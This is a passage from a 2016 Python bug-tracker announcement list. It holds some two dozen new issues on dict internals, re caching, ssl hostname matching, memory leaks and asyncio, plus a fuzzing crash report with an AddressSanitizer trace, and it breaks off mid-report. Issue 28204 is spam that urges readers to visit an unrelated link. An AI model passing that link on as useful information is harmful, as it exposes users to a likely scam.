Date: Sat, 17 Sep 2016 20:06:04 +0000
Subject: [New-bugs-announce] [issue28193] Consider using lru_cache for the
 re.py caches
Message-ID: <1474142764.79.0.545149885627.issue28193@psf.upfronthosting.co.za>


New submission from Raymond Hettinger:

The last time we applied the LRU cache to the re.py module, the overhead of the pure python version resulted in a net performance decrease.  But now we have a highly performance C version and should consider reinstating the code.

----------
assignee: serhiy.storchaka
components: Library (Lib)
messages: 276832
nosy: rhettinger, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Consider using lru_cache for the re.py caches
type: performance
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28193>
_______________________________________

From report at bugs.python.org  Sun Sep 18 05:12:17 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sun, 18 Sep 2016 09:12:17 +0000
Subject: [New-bugs-announce] [issue28194] Clean up some checks in dict
 implementation
Message-ID: <1474189937.19.0.989951317436.issue28194@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

The proposed patch cleans up some unnecessary parts in dict implementation especially NULL checks in lookup functions. There are four states a DictKeyEntry can be. Only in unused(empty) and dummy states me_key can be NULL. So NULL checks in used and pending states are not needed.

----------
components: Interpreter Core
files: dict_clean_up.patch
keywords: patch
messages: 276875
nosy: haypo, methane, serhiy.storchaka, xiang.zhang
priority: normal
severity: normal
stage: patch review
status: open
title: Clean up some checks in dict implementation
type: enhancement
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44734/dict_clean_up.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28194>
_______________________________________

From report at bugs.python.org  Sun Sep 18 07:03:16 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 18 Sep 2016 11:03:16 +0000
Subject: [New-bugs-announce] [issue28195] test_huntrleaks_fd_leak fails on
 Windows
Message-ID: <1474196596.93.0.564677505496.issue28195@psf.upfronthosting.co.za>


New submission from Berker Peksag:

>From http://buildbot.python.org/all/builders/x86%20Windows7%203.x/builds/11654/steps/test/logs/stdio

======================================================================
FAIL: test_huntrleaks_fd_leak (test.test_regrtest.ArgsTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\test_regrtest.py", line 782, in test_huntrleaks_fd_leak
    self.assertEqual(reflog, line2)
AssertionError: 'test[27 chars] [1, 2, 2] memory blocks, sum=5\ntest_regrtest[50 chars]=3\n' != 'test[27 chars] [1, 1, 1] file descriptors, sum=3\n'
- test_regrtest_huntrleaks leaked [1, 2, 2] memory blocks, sum=5
  test_regrtest_huntrleaks leaked [1, 1, 1] file descriptors, sum=3

----------
components: Tests
messages: 276878
nosy: berker.peksag
priority: normal
severity: normal
stage: needs patch
status: open
title: test_huntrleaks_fd_leak fails on Windows
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28195>
_______________________________________

From report at bugs.python.org  Sun Sep 18 07:13:00 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 18 Sep 2016 11:13:00 +0000
Subject: [New-bugs-announce] [issue28196] ssl.match_hostname() should check
 for SRV-ID and URI-ID
Message-ID: <1474197180.9.0.848250707653.issue28196@psf.upfronthosting.co.za>


New submission from Christian Heimes:

The ssl.match_hostname() function does not conform to RFC 6125 because it can fall back to Subject CN when a cert has no dNSName SAN (subject alternative name) but a SRVName otherName SAN or URI SAN.

---
https://tools.ietf.org/search/rfc6125#section-6.4.4

6.4.4.  Checking of Common Names

As noted, a client MUST NOT seek a match for a reference identifier
of CN-ID if the presented identifiers include a DNS-ID, SRV-ID,
URI-ID, or any application-specific identifier types supported by the
client.
---

For now it's not a security problem because no public CA in the CA/Browser Forum is allowed to issue certs with SRV-ID or URI-ID. I checked a couple of libraries and browers. OpenSSL, NSS/Firefox, GnuTLS, embedtls (Polar) and libcurl don't check for the present of SRV-ID or URI-ID either. Only Hynek's service_identity package follows the RFC to the letter. #28191 adds the ability to fetch SRV-ID entries.

----------
assignee: christian.heimes
components: SSL
messages: 276882
nosy: christian.heimes
priority: normal
severity: normal
stage: test needed
status: open
title: ssl.match_hostname() should check for SRV-ID and URI-ID
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28196>
_______________________________________

From report at bugs.python.org  Sun Sep 18 16:50:32 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Sun, 18 Sep 2016 20:50:32 +0000
Subject: [New-bugs-announce] [issue28197] range.index mismatch with
 documentation
Message-ID: <1474231832.91.0.157673750963.issue28197@psf.upfronthosting.co.za>


New submission from Vedran ?a?i?:

Look at this:

    >>> from collections.abc import Sequence

    >>> help(Sequence.index)
    index(self, value, start=0, stop=None)
        S.index(value, [start, [stop]]) -> integer -- return first index of value.
        Raises ValueError if the value is not present.

    >>> issubclass(range, Sequence)
    True

    >>> help(range.index)
    index(...)
        rangeobject.index(value, [start, [stop]]) -> integer -- return index of value.
        Raise ValueError if the value is not present.

So far, so good. But:

    >>> range(9).index(2, 1, 5)
    TypeError: index() takes exactly one argument (3 given)

Of course it's not essential, but the docs shouldn't lie. And if range _is_ a Sequence, then it should have the complete interface of a Sequence. Including start and end arguments for .index: they are optional from the point of call, not from the point of implementation. :-)

----------
assignee: docs at python
components: Documentation, Library (Lib)
messages: 276908
nosy: docs at python, veky
priority: normal
severity: normal
status: open
title: range.index mismatch with documentation
type: behavior
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28197>
_______________________________________

From report at bugs.python.org  Sun Sep 18 17:23:34 2016
From: report at bugs.python.org (geeknik)
Date: Sun, 18 Sep 2016 21:23:34 +0000
Subject: [New-bugs-announce] [issue28198] heap-buffer-overflow in tok_nextc
 (Parser/tokenizer.c:954)
Message-ID: <1474233814.58.0.973615167605.issue28198@psf.upfronthosting.co.za>


New submission from geeknik:

As per the security team, I'm submitting this here as it doesn't appear exploitable.

Fuzzing Python 2.7.12 with AFL, ASAN and libdislocator.so on Debian 8.5 x64. (This might also affect Python 3.5) The attached 1-byte testcase triggers a heap-buffer-overflow: ~/python/Parser/tokenizer.c:954:28 in tok_nextc:

==9855==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6250000028ff at pc 0x00000050fd06 bp 0x7ffdbb810a30 sp 0x7ffdbb810a28
READ of size 1 at 0x6250000028ff thread T0
    #0 0x50fd05 in tok_nextc /root/python/Parser/tokenizer.c:954:28
    #1 0x505c49 in tok_get /root/python/Parser/tokenizer.c:1232:17
    #2 0x505c49 in PyTokenizer_Get /root/python/Parser/tokenizer.c:1681
    #3 0x5012b4 in parsetok /root/python/Parser/parsetok.c:159:16
    #4 0x502e7f in PyParser_ParseFileFlagsEx /root/python/Parser/parsetok.c:106:12
    #5 0x7fe4a9 in PyParser_ASTFromFile /root/python/Python/pythonrun.c:1499:15
    #6 0x7fe887 in PyRun_FileExFlags /root/python/Python/pythonrun.c:1354:11
    #7 0x7fd3fc in PyRun_SimpleFileExFlags /root/python/Python/pythonrun.c:948:13
    #8 0x7fc36b in PyRun_AnyFileExFlags /root/python/Python/pythonrun.c:752:16
    #9 0x4fe9c4 in Py_Main /root/python/Modules/main.c:640:23
    #10 0x7fb6e24b282f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #11 0x42a898 in _start (/root/python/python+0x42a898)

0x6250000028ff is located 1 bytes to the left of 8192-byte region [0x625000002900,0x625000004900)
allocated by thread T0 here:
    #0 0x4ca9c8 in malloc (/root/python/python+0x4ca9c8)
    #1 0x504ed5 in PyTokenizer_FromFile /root/python/Parser/tokenizer.c:759:29

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/python/Parser/tokenizer.c:954:28 in tok_nextc
Shadow bytes around the buggy address:
  0x0c4a7fff84c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff84d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff84e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff84f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff8500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c4a7fff8510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]
  0x0c4a7fff8520: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff8530: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff8540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff8550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff8560: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==9855==ABORTING

----------
components: Interpreter Core
files: test00.gz
messages: 276917
nosy: geeknik
priority: normal
severity: normal
status: open
title: heap-buffer-overflow in tok_nextc (Parser/tokenizer.c:954)
type: crash
versions: Python 2.7, Python 3.5
Added file: http://bugs.python.org/file44743/test00.gz

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28198>
_______________________________________

From report at bugs.python.org  Sun Sep 18 18:13:49 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 18 Sep 2016 22:13:49 +0000
Subject: [New-bugs-announce] [issue28199] Compact dict resizing is doing too
 much work
Message-ID: <1474236829.43.0.744002065698.issue28199@psf.upfronthosting.co.za>


New submission from Raymond Hettinger:

The dictresize() method unnecessarily copies the keys, values, and hashes as well as making insertions in the index table.   Only the latter step is necessary or desirable.

Here in the pure Python code for resizing taking from the original proof-of-concept code at https://code.activestate.com/recipes/578375

    def _resize(self, n):
        '''Reindex the existing hash/key/value entries.
           Entries do not get moved, they only get new indices.
           No calls are made to hash() or __eq__().

        '''
        n = 2 ** n.bit_length()                     # round-up to power-of-two
        self.indices = self._make_index(n)
        for index, hashvalue in enumerate(self.hashlist):
            for i in Dict._gen_probes(hashvalue, n-1):
                if self.indices[i] == FREE:
                    break
            self.indices[i] = index
        self.filled = self.used

And here is a rough sketch of what it would look like in the C code (very rough, not yet compileable):

static void
insert_indices_clean(PyDictObject *mp, Py_hash_t hash)
{
    size_t i, perturb;
    PyDictKeysObject *k = mp->ma_keys;
    size_t mask = (size_t)DK_SIZE(k)-1;

    i = hash & mask;
    for (perturb = hash; dk_get_index(k, i) != DKIX_EMPTY;
         perturb >>= PERTURB_SHIFT) {
	i = mask & ((i << 2) + i + perturb + 1);
    }
    dk_set_index(k, i, k->dk_nentries);
}

static int
dictresize(PyDictObject *mp, Py_ssize_t minused)
{
    Py_ssize_t i, newsize;
    PyDictKeyEntry *ep0;

    /* Find the smallest table size > minused. */
    for (newsize = PyDict_MINSIZE;
         newsize <= minused && newsize > 0;
         newsize <<= 1)
        ;
    if (newsize <= 0) {
        PyErr_NoMemory();
        return -1;
    }

    /* Resize and zero-out the indices array */
    realloc(dk->dk_indices, es * newsize);
    memset(&dk->dk_indices.as_1[0], 0xff, es * size);
    dk->dk_size = size;

    /* Loop over hashes, skipping NULLs, inserting new indices */
    for (i = 0; i < mp->dk_nentries; i++) {
        PyDictKeyEntry *ep = &ep0[i];
        if (ep->me_value != NULL) {
            insert_indices_clean(mp, ep->me_hash);
        }
    }
    return 0;
}

----------
components: Interpreter Core
messages: 276921
nosy: methane, rhettinger, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Compact dict resizing is doing too much work
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28199>
_______________________________________

From report at bugs.python.org  Sun Sep 18 18:56:38 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sun, 18 Sep 2016 22:56:38 +0000
Subject: [New-bugs-announce] [issue28200] Windows: path_converter() leaks
 memory for Unicode filenames
Message-ID: <1474239398.07.0.0972680059215.issue28200@psf.upfronthosting.co.za>


New submission from STINNER Victor:

Memory leak spotted by the issue #28195: path_converter() calls PyUnicode_AsWideCharString() which allocates a new buffer at each call, but this buffer is never released.

On Python 3.5, PyUnicode_AsWideCharString() was used which handles internally the memory buffer and so release the memory later.

Attached patch fixes the regression introduced in Python 3.6 beta 1 by the change e20c7d8a8187 ("Issue #27781: Change file system encoding on Windows to UTF-8 (PEP 529)").

----------
files: path_converter.patch
keywords: patch
messages: 276924
nosy: haypo, steve.dower
priority: normal
severity: normal
status: open
title: Windows: path_converter() leaks memory for Unicode filenames
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44744/path_converter.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28200>
_______________________________________

From report at bugs.python.org  Mon Sep 19 00:25:13 2016
From: report at bugs.python.org (INADA Naoki)
Date: Mon, 19 Sep 2016 04:25:13 +0000
Subject: [New-bugs-announce] [issue28201] dict: perturb shift should be done
 when first conflict
Message-ID: <1474259113.17.0.570923386086.issue28201@psf.upfronthosting.co.za>


New submission from INADA Naoki:

Current perturb shift code is like following:

    for (perturb = hash; ; perturb >>= PERTURB_SHIFT) {
        i = mask & ((i << 2) + i + perturb + 1);

This loop is start after first conflict. It means perturb == hash for first conflict.

The purpose of perturb shift is avoid long conflict chain when keys more
than two have hashes their lower-bit is same. So first perturb should be hash >> PERTURB_SHIFT.

example: Consider about ma_keys == 16 and keys are [1, 17, 33, 49, 65].
Current perturb
1. hash(1) & (16-1) == 1; 1 uses ix==1 slot.
2. hash(17) & (16-1) == 1; ix==1 conflicts; Next ix is mask & (3 + 17 + 1) == 5; use ix==5 slot.
3. hash(33) & (16-1) == 1; ix==1 conflicts; Next ix is mask & (3 + 33 + 1) == 5; ix==5 conflicts; ...

When first perturb = hash >> PERTURB_SHIFT:
1. hash(1) & (16-1) == 1; 1 uses ix==1 slot.
2. hash(17) & (16-1) == 1; ix==1 conflicts; Next ix is mask & (3 + (17>>5) + 1) == 4; use ix==4 slot.
3. hash(33) & (16-1) == 1; ix==1 conflicts; Next ix is mask & (3 + (33>>5) + 1) == 5; use ix==5 slot.


While it's difficult to see performance difference from benchmark, this should be decrease possibility of 2nd conflict.

----------
components: Interpreter Core
messages: 276936
nosy: methane
priority: normal
severity: normal
status: open
title: dict: perturb shift should be done when first conflict
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28201>
_______________________________________

From report at bugs.python.org  Mon Sep 19 01:02:27 2016
From: report at bugs.python.org (Jack Liu)
Date: Mon, 19 Sep 2016 05:02:27 +0000
Subject: [New-bugs-announce] [issue28202] Python 3.5.1 C API,
 the global available available is not destroyed when delete the
 module
Message-ID: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>


New submission from Jack Liu:

0
down vote
favorite
I have a app loading python35.dll. Use python API PyImport_AddModule to run a py file. And use PyDict_DelItemString to delete the module. There is a global vailable in the py file. The global variable is not destroyed when calling PyDict_DelItemString to delete the module. That cause the memory leak.

But it is ok with python33.dll, the global variable can be destroyed when calling PyDict_DelItemString to delete the module.

How to resolve the problem? Is there a workaround? I need to use python35.dll and wish the global variable in a module can be released automatically when call PyDict_DelItemString to delete the module.

Here is the python test code:

class Simple:  
     def __init__( self ):  
         print('Simple__init__')
     def __del__( self ):  
         print('Simple__del__') 

simple = Simple()

----------
components: Library (Lib)
messages: 276945
nosy: Jack Liu
priority: normal
severity: normal
status: open
title: Python 3.5.1 C API, the global available available is not destroyed when delete the module
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Mon Sep 19 03:41:46 2016
From: report at bugs.python.org (Manish Goregaokar)
Date: Mon, 19 Sep 2016 07:41:46 +0000
Subject: [New-bugs-announce] [issue28203] complex() gives wrong error when
 the second argument has an invalid type
Message-ID: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>


New submission from Manish Goregaokar:

When the second argument of complex() is not a number/string, the type error reports the error but prints the type of the first argument:

    > complex({1:2},1j)
    Traceback (most recent call last):
     File "<stdin>", line 1, in <module>
    TypeError: complex() argument must be a string or a number, not 'dict'
    >complex(1j,{1:2})
    Traceback (most recent call last):
     File "<stdin>", line 1, in <module>
    TypeError: complex() argument must be a string or a number, not 'complex'
    >>> complex(1, {1:2})
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    TypeError: complex() argument must be a string or a number, not 'int'

----------
components: Library (Lib)
messages: 276952
nosy: Manish Goregaokar
priority: normal
severity: normal
status: open
title: complex() gives wrong error when the second argument has an invalid type
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Mon Sep 19 05:49:57 2016
From: report at bugs.python.org (shayan)
Date: Mon, 19 Sep 2016 09:49:57 +0000
Subject: [New-bugs-announce] [issue28204] very useful information
Message-ID: <000061bb48b5$289db72a$acba49d2$@yahoo.com>


New submission from shayan:

Hi friend! 

There is some info I've just found on the web, I guess it is very useful, you may find it here <http://bridge.proitny.com/e3dron>

Best, shili8_256

----------
messages: 276964
nosy: SH4Y4N
priority: normal
severity: normal
status: open
title: very useful information

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28204>
_______________________________________

From report at bugs.python.org  Mon Sep 19 07:21:37 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Mon, 19 Sep 2016 11:21:37 +0000
Subject: [New-bugs-announce] [issue28205] Add optional suffix to str.join
Message-ID: <1474284097.7.0.704735249593.issue28205@psf.upfronthosting.co.za>


New submission from Steven D'Aprano:

It is moderately common to want to join a sequence of substrings with a delimiter rather than a separator, e.g. when joining a sequence of lines into a single string, you usually want a trailing newline as well as newlines between the lines. E.g.:

'\n'.join(['first', 'second', 'third'])


returns 'first\nsecond\nthird' but we usually want a trailing newline as well, but only if the iterable being joined is not empty. If there are no substrings, we don't want to append the delimiter.

Currently the most obvious way to do this is to use a temporary variable:

lines = '\n'.join(substrings)
if lines:
    lines += '\n'
process(lines)

I propose adding a keyword-only argument to str.join(), "suffix", to specify an optional trailing substring added only if the iterable is non-empty. To join lines as above, you would write:

process('\n'.join(substrings, suffix='\n'))

eliminating the unnecessary temporary variable.

Here's a proof of concept:

def join(iterable, sep, *, suffix=None):
    s = sep.join(iterable)
    if s and suffix is not None:
        s += suffix
    return s

----------
messages: 276971
nosy: steven.daprano
priority: normal
severity: normal
status: open
title: Add optional suffix to str.join
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28205>
_______________________________________

From report at bugs.python.org  Mon Sep 19 11:00:04 2016
From: report at bugs.python.org (Samuel Colvin)
Date: Mon, 19 Sep 2016 15:00:04 +0000
Subject: [New-bugs-announce] [issue28206] signal.Signals not documented
Message-ID: <1474297204.47.0.613989661481.issue28206@psf.upfronthosting.co.za>


New submission from Samuel Colvin:

As per discussion on typeshed pull request discussion (https://github.com/python/typeshed/pull/555) the "signal.Signals" enum is not documented but should be.

See https://docs.python.org/3.5/library/signal.html.

----------
assignee: docs at python
components: Documentation
messages: 276979
nosy: Samuel Colvin, docs at python
priority: normal
severity: normal
status: open
title: signal.Signals not documented
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28206>
_______________________________________

From report at bugs.python.org  Mon Sep 19 15:34:50 2016
From: report at bugs.python.org (Santiago Castro)
Date: Mon, 19 Sep 2016 19:34:50 +0000
Subject: [New-bugs-announce] [issue28207] SQLite headers are not
Message-ID: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>


New submission from Santiago Castro:

When installing Python (for example, version 3.5.2), if SQLite library and headers are not installed in a default location (like $HOME/.local/include instead of /usr/include), it should take it from there, and not fail to find it. This behavior does work with bz2 library and OpenSSL, but not with SQLite.

----------
components: Extension Modules
messages: 276983
nosy: Santiago Castro
priority: normal
severity: normal
status: open
title: SQLite headers are not
type: behavior
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Mon Sep 19 16:36:48 2016
From: report at bugs.python.org (Big Stone)
Date: Mon, 19 Sep 2016 20:36:48 +0000
Subject: [New-bugs-announce] [issue28208] update sqlite to 3.14.2
Message-ID: <1474317408.19.0.662096879681.issue28208@psf.upfronthosting.co.za>


New submission from Big Stone:

sqlite 3.14.2 released September 12th is said to correct 3 bugs. 
(https://www.sqlite.org/releaselog/3_14_2.html)

I would suggest to upgrade from Sqlite 3.14.1 to sqlite 3.14.2 for beta2

----------
messages: 276984
nosy: Big Stone, zach.ware
priority: normal
severity: normal
status: open
title: update sqlite to 3.14.2
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28208>
_______________________________________

From report at bugs.python.org  Mon Sep 19 18:34:46 2016
From: report at bugs.python.org (jcrmatos)
Date: Mon, 19 Sep 2016 22:34:46 +0000
Subject: [New-bugs-announce] [issue28209] Exe or MSI unable to find Py3.5
Message-ID: <1474324486.65.0.502468498808.issue28209@psf.upfronthosting.co.za>


New submission from jcrmatos:

Exe or MSI created by
python setup.py bdist_wininst
and
python setup.py bdist_msi
on a Py3.5 are unable to find Py3.5 installed.
The build machine is not the same as the installation machine (destination).
Tried changing Py3.5 installation on the destination from user mode to all users, same result.

----------
components: Distutils
messages: 276988
nosy: dstufft, eric.araujo, jcrmatos
priority: normal
severity: normal
status: open
title: Exe or MSI unable to find Py3.5
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28209>
_______________________________________

From report at bugs.python.org  Tue Sep 20 04:43:54 2016
From: report at bugs.python.org (stephan)
Date: Tue, 20 Sep 2016 08:43:54 +0000
Subject: [New-bugs-announce] [issue28210] argparse with subcommands
 difference in python 2.7 / 3.5
Message-ID: <1474361034.47.0.927422929015.issue28210@psf.upfronthosting.co.za>


New submission from stephan:

In python 2.7.12 I get an error if I do not pass
arguments, while in python 3.5.2 I do not get
the error (it fails silently).
Stumbled on this during my migration of my python 2.7 code to python 3.5 for django.

Here is the console output:

D:\util\python\test>py -3 test_argparse.py
3.5.2 (v3.5.2:4def2a2901a5, Jun 25 2016, 22:18:55) [MSC v.1900 64 bit (AMD64)]
Use subparsers: True
Namespace(command=None)

D:\util\python\test>py -2 test_argparse.py
2.7.12 (v2.7.12:d33e0cf91556, Jun 27 2016, 15:19:22) [MSC v.1500 32 bit (Intel)]
Use subparsers: True
usage: test_argparse.py [-h] command ...
test_argparse.py: error: too few arguments

D:\util\python\test>

----------
files: test_argparse.py
messages: 277017
nosy: stephan
priority: normal
severity: normal
status: open
title: argparse with subcommands difference in python 2.7 / 3.5
type: behavior
versions: Python 2.7, Python 3.5
Added file: http://bugs.python.org/file44751/test_argparse.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28210>
_______________________________________

From report at bugs.python.org  Tue Sep 20 04:57:26 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 20 Sep 2016 08:57:26 +0000
Subject: [New-bugs-announce] [issue28211] Wrong return value type in the doc
 of PyMapping_Keys/Values/Items
Message-ID: <1474361846.96.0.641386769432.issue28211@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

PyMapping_Keys/Values/Items can only return a list or tuple. Even in the case of a dict, it returns a list. But the doc tells a dictionary view will be returned in case of dict, which is wrong.

----------
assignee: docs at python
components: Documentation
files: mapping_doc.patch
keywords: patch
messages: 277018
nosy: docs at python, xiang.zhang
priority: normal
severity: normal
stage: patch review
status: open
title: Wrong return value type in the doc of PyMapping_Keys/Values/Items
versions: Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44752/mapping_doc.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28211>
_______________________________________

From report at bugs.python.org  Tue Sep 20 05:10:08 2016
From: report at bugs.python.org (=?utf-8?b?0JrQvtC90YHRgtCw0L3RgtC40L0g0JLQvtC70LrQvtCy?=)
Date: Tue, 20 Sep 2016 09:10:08 +0000
Subject: [New-bugs-announce] [issue28212] Closing server in asyncio is not
 efficient
Message-ID: <1474362608.68.0.912694843367.issue28212@psf.upfronthosting.co.za>


New submission from ?????????? ??????:

When you close asyncio socket server it closes all connection sockets, remove its readers and do "cancel" for readers. Problem is that, that after this reader tasks are leaved alone in "cancelling" state. They wouldn`t be really cancelled, because they need a loop step for that. But they are not in loop now(they suggest execution throught selector, but they not presented there after removal). Cancelling step woldn`t be done and tasks wouldn`t be really finished, and no finishing actions can be done.
I think that It is good idea such tasks to "ready" queue, so they can be executed in normal task way after removing from selector.

----------
components: asyncio
messages: 277019
nosy: gvanrossum, yselivanov, ?????????? ??????
priority: normal
severity: normal
status: open
title: Closing server in asyncio is not efficient
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28212>
_______________________________________

From report at bugs.python.org  Tue Sep 20 05:21:57 2016
From: report at bugs.python.org (=?utf-8?b?0JrQvtC90YHRgtCw0L3RgtC40L0g0JLQvtC70LrQvtCy?=)
Date: Tue, 20 Sep 2016 09:21:57 +0000
Subject: [New-bugs-announce] [issue28213] asyncio SSLProtocol _app_transport
 is private
Message-ID: <1474363317.54.0.62853026596.issue28213@psf.upfronthosting.co.za>


New submission from ?????????? ??????:

Seems that this field must not be private(or must have read-only property) as it is supposed to use outside of class.

I catched that, when implemented STARTTLS smtp process, when you must start SSL connection over existing socket connection. Currently it is not hard, its easy to add SSL layer as loop do:

self._tls_protocol = sslproto.SSLProtocol()
socket_transport = self.transport
socket_transport._protocol = self._tls_protocol
self.transport = self._tls_protocol._app_transport
self._tls_protocol.connection_made(socket_transport)

But here you must access to private property "app_transport". It must be public because its purpose to public "result" of SSL layer implementation. 

>From class BaseSelectorEventLoop:

def _make_ssl_transport(...):
    ...
    return ssl_protocol._app_transport

----------
components: asyncio
messages: 277020
nosy: gvanrossum, yselivanov, ?????????? ??????
priority: normal
severity: normal
status: open
title: asyncio SSLProtocol _app_transport is private
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28213>
_______________________________________

From report at bugs.python.org  Tue Sep 20 08:38:42 2016
From: report at bugs.python.org (Tim Graham)
Date: Tue, 20 Sep 2016 12:38:42 +0000
Subject: [New-bugs-announce] [issue28214] Improve exception reporting for
 problematic __set_name__ attributes
Message-ID: <1474375122.62.0.719507311947.issue28214@psf.upfronthosting.co.za>


New submission from Tim Graham:

As requested by Nick [0], this is a usability issue against CPython 3.6 to provide a better chained TypeError in this case:

class _TokenType(tuple):
    parent = None

    def __getattr__(self, name):
        new = _TokenType(self + (name,))
        setattr(self, name, new)
        new.parent = self
        return new

Token = _TokenType()

Keyword = Token.Keyword

class KeywordCaseFilter(object):
    ttype = Keyword


Traceback (most recent call last):
  File "test.py", line 14, in <module>
    class KeywordCaseFilter(object):
TypeError: '_TokenType' object is not callable

The exception should report the specific object with the problematic __set_name__ attribute (rather than just passing along the underlying exception), as well as supporting __set_name__ = None to explicitly disable further lookup processing.

Follow up to #27366.

[0] https://github.com/andialbrecht/sqlparse/issues/286#issuecomment-248208900

----------
components: Interpreter Core
messages: 277027
nosy: Tim.Graham, ncoghlan
priority: normal
severity: normal
status: open
title: Improve exception reporting for problematic __set_name__ attributes
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28214>
_______________________________________

From report at bugs.python.org  Tue Sep 20 11:28:39 2016
From: report at bugs.python.org (Kyle Altendorf)
Date: Tue, 20 Sep 2016 15:28:39 +0000
Subject: [New-bugs-announce] [issue28215] PyModule_AddIntConstant() wraps
 >=2^32 values when long is 4 bytes
Message-ID: <1474385319.74.0.546349288583.issue28215@psf.upfronthosting.co.za>


New submission from Kyle Altendorf:

I am cross compiling Python 3.5.2 for use on a 32-bit ARM processor with Linux.  I use socket.CAN_EFF_FLAG and noticed that it is negative on the target despite being positive on my host (64-bit Intel Linux).

  Host:

altendky at tp:~$ uname -a
Linux tp 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
altendky at tp:~$ python3 --version
Python 3.5.2
altendky at tp:~$ python3 -c 'import socket; print(socket.CAN_EFF_FLAG)'
2147483648

  ^^ Is expected


  Target:

root at rosi ~$ uname -a
Linux rosi 3.0.101-rt130-opusa3-2.1.0-2 #1 PREEMPT Tue Apr 12 13:49:26 CEST 2016 armv6l GNU/Linux
root at rosi ~$ /opt/epc/bin/python3 --version
Python 3.5.2
root at rosi ~$ /opt/epc/bin/python3 -c 'import socket; print(socket.CAN_EFF_FLAG)'
-2147483648

  ^^ Is not expected to be negative


  Only CAN_EFF_FLAG reference in my source used to cross build Python:

